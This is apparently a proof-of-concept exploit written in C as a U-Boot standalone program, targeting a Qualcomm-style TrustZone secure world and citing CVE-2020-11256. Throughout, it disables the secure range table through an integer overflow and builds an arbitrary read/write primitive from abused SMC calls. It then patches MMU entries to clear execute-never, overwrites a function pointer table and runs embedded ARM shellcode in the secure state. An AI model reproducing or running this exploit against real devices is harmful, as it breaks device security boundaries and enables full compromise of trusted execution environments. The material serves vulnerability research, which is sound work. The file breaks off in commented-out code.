hello_world.c

#include <common.h>
#include <exports.h>

/* Constants and Macros */
#define PAGE_TABLE_BASE 0x87edc000
#define SECURE_RANGE_ADDR 0x87eab1e0
#define GET_DIAG_SRC_PTR 0x87eabf34
#define SMC_EXEC_FUNC_TBL_PTR 0x87eb79e0
#define SECURE_MEMCPY_ADDR 0x87e80434
// #define SHELLCODE_DST 0x82000000
#define SECURE_SHELLCODE_DST 0x70000000
#define SHELLCODE_DST 0x88800000
// #define SECURE_SHELLCODE_DST 0x87e00000

#define BIT(bit) (1U << (bit))
#define SCM_CLASS_REGISTER (2 << 8)
#define SCM_MASK_IRQS BIT(5)
#define SCM_ATOMIC(svc, cmd, n)                                                \
  (((((svc) << 10) | ((cmd) & 0x3ff)) << 12) | SCM_CLASS_REGISTER |            \
   SCM_MASK_IRQS | (n & 0xf))
#define UNDO_SVC(svc) (svc >> 10)
#define UNDO_CMD(cmd) (cmd & 0x3ff)

// MAX SECURE RANGES TO CHECK
#define MAX_RANGES 32

// Mangled SMC ids for the functions we want to call
#define BLOW_FUSE_SMC 0x2020
#define VERSION_SET 0x2009
#define GET_DIAG 0x1802
#define GET_FVER 0x1803
#define PIL_GET_MEM_AREA 0x809
#define EXEC_SMC 0x3f001

#ifndef s32
#define s32 signed int
#endif

#ifndef u8
#define u8 unsigned char
#endif

#ifndef u16
#define u16 unsigned short
#endif

#ifndef u32
#define u32 unsigned int
#endif

#ifndef u64
#define u64 unsigned long long
#endif

// A struct that represents a secure range
struct sec_ranges {
  s32 id;
  s32 flags;
  u32 start;
  u32 end;
};

// A struct that is used to track memory ranges that are not "secure"
// and hence are undefined aka non-secure memory regions
struct undefined_range {
  u32 start;
  u32 end;
};

/* Function Prototypes */
extern void flush_dcache_all(void);
extern void invalidate_dcache_all(void);
extern int printf(const char *format, ...);

// Core Functions
s32 my_smc_call(u32, u32, u32, u32, u32, u32, int);
u32 call_smc_exec(u32, u32, u32);

// SVC Enumeration and Modification
void svc_enum(void);
u32 overwrite_sec_tbl(void);
void test_set_version(void);

// Memory Operations and Page Table
u32 read_sctlr(void);
u32 read_memory(u32);
void write_nsec_mem(u32, u32);
void invalidate_tlb_entry(u32);
void v7_inval_tlb(void);
u64 traverse_page_table(u32, u8);
void armv7_full_cache_flush(void);
u32 overwrite_sec_tbl_sanity(u32);
u32 write_buf_nsec(u32 *, u32, u32);
u32 test_sec_memcpy(void);
u32 overwrite_get_diag_src_ptr(void);
u32 copy_payload(void);
u32 manipulate_function_ptr(void);
u32 call_smc_get_diag(void);
u32 copy_payload_to_sec_memory(u32, u32, u32);

// Utility and Debugging Functions
void print_greeter(void);
void dump_system_registers(void);
void dump_registers(void);
void hexdump(u32, u32, u32);
int isprint(unsigned char);
int isprint_no_space(unsigned char);
void hexdump_32bit(u32);
void visualize_small_page_descriptor(u32);
void visualize_scr_register(u32);
const char *get_permission(u32);
const char *get_memory_attributes(u8, u8, u8);
u32 get_phys_addr(u32, u32);
void visualize_secure_ranges(u32);
void find_undefined_ranges(struct sec_ranges *, int, struct undefined_range *,
                           int *);
void print_undefined_ranges(struct undefined_range *, int);
void swap_ranges(struct sec_ranges *, struct sec_ranges *);
void sort_ranges(struct sec_ranges *, int);
void print_sorted_ranges(struct sec_ranges *, int);

// #define SEC 1

// ~~~~~ ENTRY POINT ~~~~~
int hello_world(int argc, char *const argv[]) {
  /* Exploit Game plan
   * 1. Showcase the option to enumerate all available SVCs
   * 2. Disable the secure range table to allow for arbitrary memory access
   * 3. Enable us to read, write, and execute
   *    - R/W using secure memcpy and SMC_EXEC_FUNC_TBL_PTR + SMC_EXEC
   * 4. Do a "Return-to-QSEE" attack by overwriting a function pointer table
   */

#ifdef SEC
  u32 shellcode_dst = SECURE_SHELLCODE_DST;
#else // NON-SECURE
  u32 shellcode_dst = SHELLCODE_DST;
#endif

  u32 dst, sz, rc = 0;
  print_greeter();
  u32 strategy = -1;
  strategy = read_memory(0x80000000);
  if (strategy == 0) {
    // NOTE: ^*~ ENUMERATING SVCs ~*^
    svc_enum();

  } else if (strategy == 1) {
    // NOTE: ^*~ VISUALIZING SECURE RANGES ~*^
    visualize_secure_ranges(SECURE_RANGE_ADDR);
    traverse_page_table(SECURE_RANGE_ADDR, 1);

  } else {
    // NOTE: ^*~ DISABLING SECURE RANGE TABLE ~*^
    rc = overwrite_sec_tbl();
    if (rc != 0) {
      return -1;
    }
    // flush_dcache_all();

    // NOTE: ^*~ ENABLING R/W PRIMITIVE ~*^
    printf("[>] Enabling R/W primitive...\n");
    // WARNING: Having global buffers will just write 0's instead of the payload
    // so placing them here
    u32 sec_memcpy_sc[] = {
        // HACK: For whatever reason I need to add +1  to the function ptr addr
        SECURE_MEMCPY_ADDR + 1};
    dst = 0x80000000;
    sz = sizeof(sec_memcpy_sc) / sizeof(sec_memcpy_sc[0]);
    // Place "payload" into NSEC memory to 0x80000000
    printf("  -> Placing address to sec_memcpy in NSEC memory...");
    rc = write_buf_nsec(sec_memcpy_sc, sz, dst);
    if (rc != 0) {
      return -1;
    }
    // This uses `tzbsp_pil_get_mem_area` to overwrite the GET_DIAG_SRC_PTR
    // with 0x80000000
    rc = overwrite_get_diag_src_ptr();
    if (rc != 0) {
      return -1;
    }
    // This uses `tzbsp_get_diag` to make use of the call of `memcpy(arg1,
    // get_diag_src_ptr, 0x1000)` to place the payload (addr to sec_memcpy) into
    // the SMC_EXEC_FUNC_TBL_PTR[0]
    //
    // Before execution `call_smc_get_diag`:
    //   0x8000_0000: 0x87e8_0435 ; NSEC memory contain address to sec_memcpy
    //   0x87ea_bf34: 0x8000_0000 ; GET_DIAG_SRC_PTR points to 0x8000_0000
    //
    // After execution `enable_sec_memcpy_exec`:
    //   0x87eb79e0: 0x87e8_0435 ; SMC_EXEC_FUNC_TBL_PTR[0] points to sec_memcpy
    //   [...]
    //   0x87eb_89e0: XXXXXXXX   ; SMC_EXEC_FUNCT_TBL_PTR[0x1000] points to
    //   0x8000_0000[0x1000]
    // With this we have enabled the execution of sec_memcpy
    rc = call_smc_get_diag();
    if (rc != 0) {
      return -1;
    }
    // We're dumping the secure range table from SEC memory to NSEC memory to
    // verify our R/W primitive works
    test_sec_memcpy();
    if (rc != 0) {
      return -1;
    }

    // NOTE: ^*~ PLACING SHELL CODE IN NON-SECURE MEMORY ~*^
    // clang-format off
  static const u32 read_ns_bit_sc[] = {
    //0xe30d1ead,   // mov r0, 0x8000000c
    //0x111f11ee,   // mrc p15, 0, r1, c1, c1, 0 ; READ SCR in R1
    //0xf57ff05f,   // dmb sy
    //0xe5801000,   // str r1, [r0] 
    //0xe5902000,   // ldr r2, [r0]  ; Read back the value
    //0xe12fff1e,   // bx lr

    // Works and hangs
    //0xe59f0000, // ldr r0, [pc]
    //0xe12fff10, // bx r0
    //0xcafebabe  // address to jump to

    // Works and writes value 0xdead to 0x8000000c
    //0xe30d1ead,  // mov r0, 0x8000000c
    //0xe3a00132,  // mov r1, 0xdead
    //0xe5801000,  // str r1, [r0] 
    //0xe12fff1e,  // bx lr

    // Doesn't work..?
    //0xe30d1ead,  // mov r0, 0x8000000c
    //0xe3a01132,  // mov r1, 0xdead
    //0xe5801000,  // str r1, [r0]        ; Write 0xdead to 0x8000000c
    //0xe5902000,  // ldr r2, [r0]        ; Read back the value
    //0xe1510002,  // cmp r1, r2          ; Compare written and read values
    //0x03a03001,  // moveq r3, #1        ; If equal, set r3 to 1
    //0x13a03000,  // movne r3, #0        ; If not equal, set r3 to 0
    //0xe5803004,  // str r3, [r0, #4]    ; Store the result at 0x80000010
    //0xe12fff1e,  // bx lr


    // Test 1: Basic write (known to work) - OK
    //0xe30d1ead,  // mov r0, 0x8000000c
    //0xe3a00132,  // mov r1, 0xdead
    //0xe5801000,  // str r1, [r0]
    //0xe12fff1e,  // bx lr

    // Test 2: Write, read back, and write result of comparison - OK
    //0xe30d1ead,  // mov r0, 0x8000000c
    //0xe3a00132,  // mov r1, 0xdead
    //0xe5801000,  // str r1, [r0]
    //0xe5902000,  // ldr r2, [r0]
    //0xe1510002,  // cmp r1, r2
    //0x03a03001,  // moveq r3, #1
    //0x13a03000,  // movne r3, #0
    //0xe5803004,  // str r3, [r0, #4]
    //0xe12fff1e,  // bx lr

    // Test 3: Write to multiple addresses - OK
    //0xe30d1ead,  // mov r0, 0x8000000c
    //0xe3a00132,  // mov r1, 0xdead
    //0xe5801000,  // str r1, [r0]
    //0xe5801004,  // str r1, [r0, #4]
    //0xe5801008,  // str r1, [r0, #8]
    //0xe12fff1e,  // bx lr


    // Test 4: Higher privileged operations
    0xe30d1ead,  // mov r0, 0x8000000c    ; Set base address for storing results
    0xe3a00132,  // mov r1, 0xdead

    // OK - Test showed 10c5187d 
    //0xee111f10,  // mrc p15, 0, r1, c1, c0, 0  ; Read SCTLR

    // OK - Test showed 20000093 
    //0xe10f1000,  // mrs r1, CPSR

    // FAIL - shellcode hangs
    //0xe321f0d6,  // msr cpsr_c, #0xd6     ; Attempt to enter Monitor mode
    //0xe10f1000,  // mrs r1, CPSR

    // OK - Test showed 410fc075 
    //0xee101f10,  // mrc p15, 0, r1, c0, c0, 0  ; Read MIDR

    // OK - Test showed 87e80000
    //0xee1c1f10,  // mrc p15, 0, r1, c12, c0, 0  ; Read VBAR

    // OK - Test shows 0000000e
    0xee111f11,   // mrc p15, 0, r1, c1, c1, 0  ; Read SCR

    0xe5801000,  // str r1, [r0]          ; Store read value at 0x8000000c
    0xe12fff1e,  // bx lr                 ; Return
  };
    // clang-format on

    // We always, regardless of SEC or NON-SEC, place the shellcode in NSEC
    // memory as we need to use the sec_memcpy primitive to copy it to SEC
    // memory
    sz = sizeof(read_ns_bit_sc) / sizeof(read_ns_bit_sc[0]);
    printf("[>] Placing shellcode (%d bytes) in NSEC memory (0x%08x)...",
           sz * 4, SHELLCODE_DST);
    rc = write_buf_nsec((unsigned int *)read_ns_bit_sc, sz, SHELLCODE_DST);
    if (rc != 0) {
      return -1;
    }

#ifdef SEC
    // NOTE: ^*~ COPYING SHELLCODE TO SECURE MEMORY ~*^
    printf("[>] Copying shellcode to SEC memory...");
    rc = call_smc_exec(shellcode_dst, SHELLCODE_DST, sz * 4);
    if (rc != 0) {
      return -1;
    }

    // printf("  -> Verifying copied data...");
    // for (u32 i = 0; i < sz; i++) {
    //   if (read_memory(shellcode_dst + i * 4) == read_ns_bit_sc[i]) {
    //     continue;
    //   } else {
    //     printf("  [FAIL] -- Expected: 0x%08x, Got: 0x%08x\n",
    //     read_ns_bit_sc[i],
    //            read_memory(shellcode_dst + i * 4));
    //     return -1;
    //   }
    // }
    // printf("  [OK]\n");
#endif

    // NOTE: ^*~ PATCHING THE MMU TABLE  ~*^
    // We're ensuring that the page that contains the shellcode is executable
    u64 res = traverse_page_table(shellcode_dst, 1);

    u32 section_addr = (res >> 32) & 0xffffffff;
    u32 section_value = res & 0xffffffff;
    u32 tmp = section_value;
    printf("\n\n[>] Patching MMU table @ 0x%08x\n", section_addr);

    section_value &= ~(1U << 4); // Disable XN bit
    printf("  -> Disabling XN bit (0x%08x) -> (0x%08x)...  [OK]\n", tmp,
           section_value);

    // Temporarily write our patched value to NSEC memory and then leverage
    // our sec_memcpy primitive to copy it to the secure memory
    // DST=0x88020000 was used as we need an addr >= 0x87ede080 due to how our
    // sec_memcpy primitive works
    dst = 0x88020000;
    sz = 4;
    u32 payload[1] = {section_value};
    printf("  -> Placing patched MMU value in NSEC memory...");
    rc = write_buf_nsec(payload, 1, dst);
    if (rc != 0) {
      return -1;
    }
    printf("  -> Overwriting MMU table via SMC R/W primitive...");
    rc = call_smc_exec(section_addr, dst, sz);
    if (rc != 0) {
      return -1;
    }

    // Patching MMU table verification
    printf("  -> Reading back patched MMU table...");
    dst = 0x80000004;
    rc = call_smc_exec(dst, section_addr, 4);
    if (rc != 0) {
      return -1;
    }

    u32 patched_value = read_memory(dst);
    printf("  -> Patching worked..?");
    if (patched_value == section_value) {
      printf("  [OK]\n");
    } else {
      printf("  [FAIL] -- Expected: 0x%08x, Got: 0x%08x\n", section_value,
             patched_value);
      return -1;
    }

    v7_inval_tlb();
    flush_dcache_all();
    armv7_full_cache_flush();

    // NOTE: ^*~ UPDATE FUNCTION POINTER ~*^
    printf("[>] Overwriting function pointer table...\n");
    dst = 0x80000000;
    sz = 1;
    // Using shellcode_dst, shellcode_dst - 1, or
    // shellcode_dst + 1 doesn't work.
    // Adding all these flushes doesn't work either
    u32 payload2[1] = {shellcode_dst};
    printf("[>] Placing shellcode (%d bytes) in NSEC memory (0x%08x)...",
           sz * 4, dst);
    rc = write_buf_nsec(payload2, sz, dst);
    if (rc != 0) {
      return -1;
    }

    // Update `get_diag_src_ptr` to point 0x80000000 using
    // `tzbsp_pil_get_mem_area`
    rc = overwrite_get_diag_src_ptr();
    if (rc != 0) {
      return -1;
    }

    // Use `tzbsp_get_diag` to make `SMC_EXEC_FUNC_TBL_PTR` point to 0x80000000
    rc = call_smc_get_diag();
    if (rc != 0) {
      return -1;
    }

    // traverse_page_table(shellcode_dst, 1);
    //   HACK: We cannot read back from secure memory at this point because we
    //   removed our sec_memcpy primitive Hence, no verification.

    // NOTE: ^*~ EXECUTE FUNCTION POINTER ~*^
    printf("[>] Executing shellcode...");
    rc = call_smc_exec(0x83000000, 0x88000000, 0x41414141);
    if (rc != 0) {
      return -1;
    }
    printf("  -> Reading SCR register...");
    u32 value = read_memory(0x8000000c);
    printf("  [OK]\n");
    visualize_scr_register(value);
  }

  // hexdump(0x80000000, 48, 16);
  return 0;
}

void visualize_scr_register(u32 val) {
  u8 sif = (val >> 9) & 1;
  u8 hce = (val >> 8) & 1;
  u8 scd = (val >> 7) & 1;
  u8 net = (val >> 6) & 1;
  u8 aw = (val >> 5) & 1;
  u8 fw = (val >> 4) & 1;
  u8 ea = (val >> 3) & 1;
  u8 fiq = (val >> 2) & 1;
  u8 irq = (val >> 1) & 1;
  u8 ns = val & 1;

  // clang-format off
  printf("        31                     10  9   8   7   6   5   4   3   2   1   0  \n");
  printf("        ┌────────────────────────────────────────────────────────────────┐\n");
  printf("    SCR │ Reserved, UNK/SBZP     │ %d │ %d │ %d │ %d │ %d │ %d │ %d │ %d │ %d │ %d │\n",
         sif, hce, scd, net, aw, fw, ea, fiq, irq, ns);
  printf("        └────────────────────────────────────────────────────────────────┘\n");
  printf("                              SIF* ┘   │   │   │   │   │   │   │   │   │  \n");
  printf("                              HCE* ────┘   │   │   │  FW   │   │   │  NS  \n");
  printf("                              SCD* ────────┘   │   │      EA   │  IRQ     \n");
  printf("                               nET ────────────┘   │          FIQ         \n");
  printf("                                AW ────────────────┘                      \n");
  // clang-format on

  printf("    -> NS bit: %d\n", ns);
  if (ns == 0) {
    printf("    -> Shellcode executed in SECURE STATE. TEE PWNED! :)\n");
  } else {
    printf("    -> Shellcode executed in NON-SECURE STATE :(\n");
  }
}

void print_greeter(void) {
  printf("    ╔═══════════════════════════════════════════════╗\n");
  printf("    ║                                               ║\n");
  printf("    ║  ██████╗ ██╗    ██╗███╗   ██╗███████╗██████╗  ║\n");
  printf("    ║  ██╔══██╗██║    ██║████╗  ██║██╔════╝██╔══██╗ ║\n");
  printf("    ║  ██████╔╝██║ █╗ ██║██╔██╗ ██║█████╗  ██║  ██║ ║\n");
  printf("    ║  ██╔═══╝ ██║███╗██║██║╚██╗██║██╔══╝  ██║  ██║ ║\n");
  printf("    ║  ██║     ╚███╔███╔╝██║ ╚████║███████╗██████╔╝ ║\n");
  printf("    ║  ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═════╝  ║\n");
  printf("    ║                                               ║\n");
  printf("    ║          Research by: [@raelizecom]           ║\n");
  printf("    ║          PoC      by: [@ricksanchez]          ║\n");
  printf("    ║                                               ║\n");
  printf("    ╚═══════════════════════════════════════════════╝\n");
  printf("\n");
}

s32 my_smc_call(u32 svc, u32 cmd, u32 arg1, u32 arg2, u32 arg3, u32 arg4,
                int nargs) {
  int context_id;
  register u32 r0 asm("r0") = SCM_ATOMIC(svc, cmd, nargs);
  register u32 r1 asm("r1") = (u32)&context_id;
  register u32 r2 asm("r2") = arg1;
  register u32 r3 asm("r3") = arg2;
  register u32 r4 asm("r4") = arg3;
  register u32 r5 asm("r5") = arg4;

  // clang-format off
  asm volatile(
      __asmeq("%0", "r0") 
      __asmeq("%1", "r0")
      __asmeq("%2", "r1")
      __asmeq("%3", "r2") 
      __asmeq("%4", "r3") 
      __asmeq("%5", "r4")
      __asmeq("%6", "r5") 

    ".arch_extension sec\n"
    "smc    #0      @ switch to secure world\n"
      : "=r"(r0)
      : "r"(r0), "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5));
  // clang-format on

  return r0;
}

void dump_registers() {
  u32 r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12;
  u32 pc, sp = 0;

  asm volatile("mov %0, r0\n"
               "mov %1, r1\n"
               "mov %2, r2\n"
               "mov %3, r3\n"
               "mov %4, r4\n"
               "mov %5, r5\n"
               "mov %6, r6\n"
               "mov %7, r7\n"
               "mov %8, r8\n"
               "mov %9, r9\n"
               "mov %10, r10\n"
               "mov %11, r11\n"
               "mov %12, r12\n"
               : "=r"(r0), "=r"(r1), "=r"(r2), "=r"(r3), "=r"(r4), "=r"(r5),
                 "=r"(r6), "=r"(r7), "=r"(r8), "=r"(r9), "=r"(r10), "=r"(r11),
                 "=r"(r12)
               : /* no inputs */
               : "memory");

  asm volatile("mov %0, pc" : "=r"(pc));
  asm volatile("mov %0, sp" : "=r"(sp));

  printf("\n");
  printf("  R0: 0x%08x | R1: 0x%08x\n", r0, r1);
  printf("  R2: 0x%08x | R3: 0x%08x\n", r2, r3);
  printf("  R4: 0x%08x | R5: 0x%08x\n", r4, r5);
  printf("  R6: 0x%08x | R7: 0x%08x\n", r6, r7);
  printf("  R8: 0x%08x | R9: 0x%08x\n", r8, r9);
  printf(" R10: 0x%08x | R11: 0x%08x\n", r10, r11);
  printf(" R12: 0x%08x\n", r12);
  printf("  PC: 0x%08x | SP: 0x%08x\n", pc, sp);
}

u32 overwrite_get_diag_src_ptr() {
  printf("  -> Abusing tzbsp_pil_get_mem_area to make get_diag_src_ptr point "
         "to NSEC memory (0x80000000)...");
  u32 arg1 = 0xdeadbeef; // we don't care
  u32 arg2 = GET_DIAG_SRC_PTR;
  u32 arg3 = 8; // Something >= 8
  u32 nargs = 3;

  u32 svc_id = UNDO_SVC(PIL_GET_MEM_AREA);
  u32 cmd = UNDO_CMD(PIL_GET_MEM_AREA);
  u32 result = my_smc_call(svc_id, cmd, arg1, arg2, arg3, 0, nargs);
  if (result == 0) {
    printf("  [OK]\n");
  } else {
    printf("  [FAIL] -- RET: (%#08x)\n", result);
    return -1;
  }
  return 0;
}

// SVC ENUM
void svc_enum(void) {
  printf("\n[>] Enumerating SVCs...\n");
  u32 svc = 6;              // Service ID for `tzbsp_is_service_available`
  u32 cmd = 1;              // Command ID
  u32 arg3 = 1;             // Non-zero argument to pass
  u32 mem_reg = 0x89000000; // Overlapping region that is not checked
  s32 result;
  u8 mem_res = 0xFF; // 0 or 1 is written here
  u32 count_services = 0;

  printf("    ┌───────┬───────┬─────┐\n");
  printf("    │  SVC  │  CMD  │ RET │\n");
  printf("    ├───────┼───────┼─────┤\n");

  for (int service = 0; service <= 0x4ffff; service++) {
    for (int nargs = 0; nargs <= 7; nargs++) {
      result = my_smc_call(svc, cmd, service, mem_reg, arg3, 0, nargs);
      mem_res = (u8)((*(u32 *)mem_reg) & 0xFF);

      if ((result == 0) && (mem_res == 1)) {
        printf("    │ 0x%02x  │ 0x%02x  │ %#x │\n", UNDO_SVC(service),
               UNDO_CMD(service), result);
        count_services += 1;
      }

      result = 0xdeadbeef;
      mem_res = 0xFF;
      *(u32 *)mem_reg = (*(u32 *)mem_reg) & 0xFFFFFF00;
    }
  }

  printf("    └───────┴───────┴─────┘\n");
  printf("      --> Found %d SVC calls\n", count_services);
}

// DISABLE SECURE RANGES
u32 overwrite_sec_tbl(void) {
  printf("[CVE-2020-11256] Disabling Secure Range Table...\n");
  u32 svc_id = UNDO_SVC(BLOW_FUSE_SMC);
  u32 cmd = UNDO_CMD(BLOW_FUSE_SMC);
  u32 addr_to_overwrite[3] = {0x87eab1e4, 0x87eab1f4, 0x87eab204};
  // These are all values in the SEC range table 1.end-1, 2.start, 3.start
  // check_mem_overlap will be called with these as the start_addr and
  // start_addr+3 as the end As these are all "overlapping" `check_mem_overlap`
  // shall return 0
  u32 sanity_checks[3] = {0x7ffffffe, 0x90000000, 0x87e80000};
  int n = sizeof(addr_to_overwrite) / sizeof(addr_to_overwrite[0]);
  s32 result = 0xdead;
  u32 arg1 = 0xffffffff; // This causes an integer overflow allowing us to
                         // break out of the check_mem_overlap function
  int nargs = 2;

  u32 sanity_check = 0xdead;
  for (int i = 0; i < n; i++) {
    sanity_check = overwrite_sec_tbl_sanity(sanity_checks[i]);
    if (sanity_check == 0xffffffee) {
      // That's the expected error as  check_mem_overlap returns 0 and then
      // code execution continues by returning that error code
      continue;
    } else {
      printf("  -> Unexpected return value from sanity check: 0x%08x\n",
             sanity_check);
      return -1;
    }
  }

  if (sanity_check == 0xfffffff0) {
    printf("  -> Secure range table is already disabled\n");
    return 0;
  }
  sanity_check = 0xdead;

  for (int i = 0; i < n; i++) {
    printf("  -> Disabling entry %d @ 0x%08x...", i, addr_to_overwrite[i]);
    result = my_smc_call(svc_id, cmd, arg1, addr_to_overwrite[i], 0xdead,
                         0xbeef, nargs);

    // flush_dcache_all();
    if (result == 0xffffffee) {
      // If we go here that means the SMC worked and returned early, doing the
      // write to disable the entry
      sanity_check = overwrite_sec_tbl_sanity(sanity_checks[i]);
      if (sanity_check == 0xfffffff0) {
        // This uses a different SMC to confirm that given an overlap with the
        // sec-range table we happily continue
        printf("  [OK]\n");
      } else {
        printf("  -> [FAIL] -- RET: (%#08x)\n", result);
        return -1;
      }
      sanity_check = 0xdead;
    } else {
      printf("  -> [FAIL] -- RET: (%#08x)\n", result);
      return -1;
    }
    result = 0xdead;
  }
  return 0;
}

u32 overwrite_sec_tbl_sanity(u32 addr_to_check) {
  // We're using the `tzbsp_fver_get_version` SMC to check whether our
  // SEC-Range is still enabled When the table is not yet overwritten we
  // should the SMC shall return 0xffffffee. If the table is overwritten, the
  // SMC shall return 0xfffffff0
  u32 svc_id = UNDO_SVC(GET_FVER);
  u32 cmd = UNDO_CMD(GET_FVER);
  u32 arg1 = 0;
  u32 arg2 = addr_to_check;
  u32 arg3 = 2;
  u32 nargs = 3;
  u32 result = my_smc_call(svc_id, cmd, arg1, arg2, arg3, 0, nargs);
  return result;
}

// void *memset(void *s, int c, int n) {
//   unsigned char *p = s;
//   while (n--) {
//     *p++ = (unsigned char)c;
//   }
//   return s;
// }

u32 write_buf_nsec(u32 *payload, u32 payload_sz, u32 dst) {
  // printf("  -> Placing payload in NSEC memory...");
  u8 is_ok = 1;

  for (u32 i = 0; i < payload_sz; i++) {
    write_nsec_mem(dst, payload[i]);
    if (read_memory(dst) == payload[i]) {
      dst += 4;
    } else {
      is_ok = 0;
      break;
    }
  }
  if (is_ok) {
    printf("  [OK]\n");
  } else {
    printf("  [FAIL]\n");
    return -1;
  }
  return 0;
}

u32 copy_payload() {
  printf("[>] Copying payload to SEC memory...");

  // Found a good looking spot via reversing
  // as it seems to be a spot with all 0's for over 0x1000 bytes.
  // It's also right in QSEE SEC memory
  u32 dst = 0x87eb1e04;
  u32 arg1 = dst;
  u32 arg2 = 0x1001; // Anything bigger than 0x1000 works
  u32 nargs = 2;

  u32 svc_id = UNDO_SVC(GET_DIAG);
  u32 cmd = UNDO_CMD(GET_DIAG);
  u32 result = my_smc_call(svc_id, cmd, arg1, arg2, 0, 0, nargs);
  if (result == 0) {
    printf("  [OK]\n");
  } else {
    printf("  [FAIL] -- RET: (%#08x)\n", result);
    return -1;
  }
  return 0;
}

u32 manipulate_function_ptr() {
  printf("[>] Overwriting function pointer table...");
  u32 dst = 0x87eb79e0;
  u32 arg1 = dst;
  u32 arg2 = 0x1001; // Anything bigger than 0x1000 works
  u32 nargs = 2;

  u32 svc_id = UNDO_SVC(GET_DIAG);
  u32 cmd = UNDO_CMD(GET_DIAG);
  u32 result = my_smc_call(svc_id, cmd, arg1, arg2, 0, 0, nargs);
  if (result == 0) {
    printf("  [OK]\n");
  } else {
    printf("  [FAIL] -- RET: (%#08x)\n", result);
    return -1;
  }
  return 0;
}

u32 call_smc_get_diag() {
  printf("  -> Abusing tzbsp_get_diag tamper with function pointer table...");
  u32 arg1 = SMC_EXEC_FUNC_TBL_PTR;
  u32 arg2 = 0x1001; // Anything bigger than 0x1000 works
  u32 nargs = 2;

  u32 svc_id = UNDO_SVC(GET_DIAG);
  u32 cmd = UNDO_CMD(GET_DIAG);
  u32 result = my_smc_call(svc_id, cmd, arg1, arg2, 0, 0, nargs);
  if (result == 0) {
    printf("  [OK]\n");
  } else {
    printf("  [FAIL] -- RET: (%#08x)\n", result);
    return -1;
  }
  return 0;
}

u32 copy_payload_to_sec_memory(u32 src, u32 dst, u32 sz) {
  //// Found a good looking spot via reversing
  //// as it seems to be a spot with all 0's for over 0x1000 bytes.
  //// It's also right in QSEE SEC memory
  // u32 dst = 0x87eb1e04;
  printf("  -> Copying %d bytes from NSEC memory (0x%08x) to SEC "
         "memory (0x%08x)...",
         sz, src, dst);
  return call_smc_exec(dst, src, sz);
}

u32 test_sec_memcpy() {
  printf("  -> Testing arbitrary copy primitive...\n");
  // Address of the secure range table in SEC memory
  u32 src = SECURE_RANGE_ADDR;
  // Some location in non-secure memory
  u32 dst = 0x81000000;
  u32 bytes_to_copy = 96;
  printf("    -> Copying %d bytes from SEC memory (0x%08x) to NSEC "
         "memory (0x%08x)...",
         bytes_to_copy, src, dst);
  // We're calling into sec_memcpy(dst, src, src_sz)
  // arg1 == == start_1 == dst
  // arg2 - arg1 - 0xc == sz_1 == amount to copy
  // arg2 == arg3 == start_2 == src
  // arg3 == arg4 == end_2 == src_sz
  // if (arg2 - arg1 - 0xc) > arg3; then arg3 bytes will be copied!
  // So we can copy whatever we want by setting arg3 to the correct data size
  u32 rc = call_smc_exec(dst, src, bytes_to_copy);
  if (rc != 0) {
    printf("  [FAIL] -- RET: (%#08x)\n", rc);
    return -1;
  }

  printf("    -> Verifying copied data...");
  // We copy the first 96 bytes (aka first 3 rows) of the secure range tables
  // from secure to non-secure memory and verify that the data is correct
  u32 to_verify[] = {
      0x00000000, 0x00000001, 0x00000000, 0x7fffffff, 0x00000001, 0x00000001,
      0x90000000, 0xffffffff, 0x00000002, 0x00000001, 0x87e80000, 0x87ffffff,
  };
  int n = sizeof(to_verify) / sizeof(to_verify[0]);
  for (int i = 0; i < n; i++) {
    if (read_memory(dst + i * 4) == to_verify[i]) {
      continue;
    } else {
      printf("  [FAIL] -- Expected: 0x%08x, Got: 0x%08x\n", to_verify[i],
             read_memory(dst + i * 4));
      return -1;
    }
  }
  printf("  [OK]\n");
  return 0;
}

// Call `tzbsp_exec_smc` to execute the function pointer
// Requirements:
//   1. arg2 >= arg1
//   2. arg2 - arg1 - 0xc > 0
u32 call_smc_exec(u32 arg1, u32 arg2, u32 arg3) {
  u32 nargs = 3;
  u32 svc_id = UNDO_SVC(EXEC_SMC);
  u32 cmd = UNDO_CMD(EXEC_SMC);
  // arg1 == start_1 == dst
  // arg2 - arg1 - 0xc == sz_1 == amount to copy
  // arg2 == arg3 == start_2 == src
  // arg3 == arg4 == end_2 == src_sz
  // if (arg2 - arg1 - 0xc) > arg3; then arg3 bytes will be copied!
  // So we can copy whatever we want by setting arg3 to the correct data size
  // dump_registers();
  u32 result = my_smc_call(svc_id, cmd, arg1, arg2, arg3, 0, nargs);
  // dump_registers();
  if (result == 0) {
    printf("  [OK]\n");
  } else {
    printf("  [FAIL] -- RET: (%#08x)\n", result);
    return -1;
  }
  return 0;
}

// void test_set_version(void) {
//   u32 svc_id = UNDO_SVC(VERSION_SET);
//   u32 cmd = UNDO_CMD(VERSION_SET);
//   u32 arg1 = 0xdeadbeef;
//   // arg1 = we dont care
//   // arg2 = needs to be 0 so sub_87e90564 returns 0
//   // arg3 needs to points to an address we want to write to
//   // -> We write the return of sub_87e90564 to arg3
//   u32 arg2 = 0;
//   u32 arg3 = 0x87eab1e4;
//
//   printf("[PRE-SMC ]  %#08x->%#08x\n", arg3, read_memory(arg3));
//   int result = my_smc_call(svc_id, cmd, arg1, arg2, arg3, 0, 3);
//   invalidate_tlb_entry(0);
//   printf("[POST-SMC]  %#08x->%#08x\n", arg3, read_memory(arg3));
//   printf("  -> RET: (%#08x)\n", result);
// }
//
// void overwrite_sec_tbl_test(u32 addr_to_overwrite) {
//   u32 svc_id = UNDO_SVC(BLOW_FUSE_SMC);
//   u32 cmd = UNDO_CMD(BLOW_FUSE_SMC);
//   // 0x80000000 works
//   // u32 addr_to_overwrite = 0x80000000; // 0x87eab1e0;
//   s32 result = 0xdead;
//   u32 arg1 = 0xffffffff; // This causes an integer overflow allowing us to
//                          // break out of the check_mem_overlap function
//   u32 arg2 = addr_to_overwrite;
//   int nargs = 2;
//
//   //  We do not want to blow fuses, so arg1 needs to fail the
//   //  check_mem_overlap check but also be >0 to not trigger the other if
//   //  branch in `tzbsp_blow_fuses_and_reset` We can achieve an early return
//   //  from `check_mem_overlap` in multiple ways:
//   //    The easiest is just make the end_memr < start_memr to break out
//   //    right away
//   // printf("  [PRE-WRITE]  0x%08x->0x%08x\n", addr_to_overwrite,
//   //       read_memory(addr_to_overwrite));
//   result = my_smc_call(svc_id, cmd, arg1, arg2, 0xdead, 0xbeef, nargs);
//   flush_dcache_all();
//   // flush_dcache((void *)(addr_to_overwrite - 32), 1024);
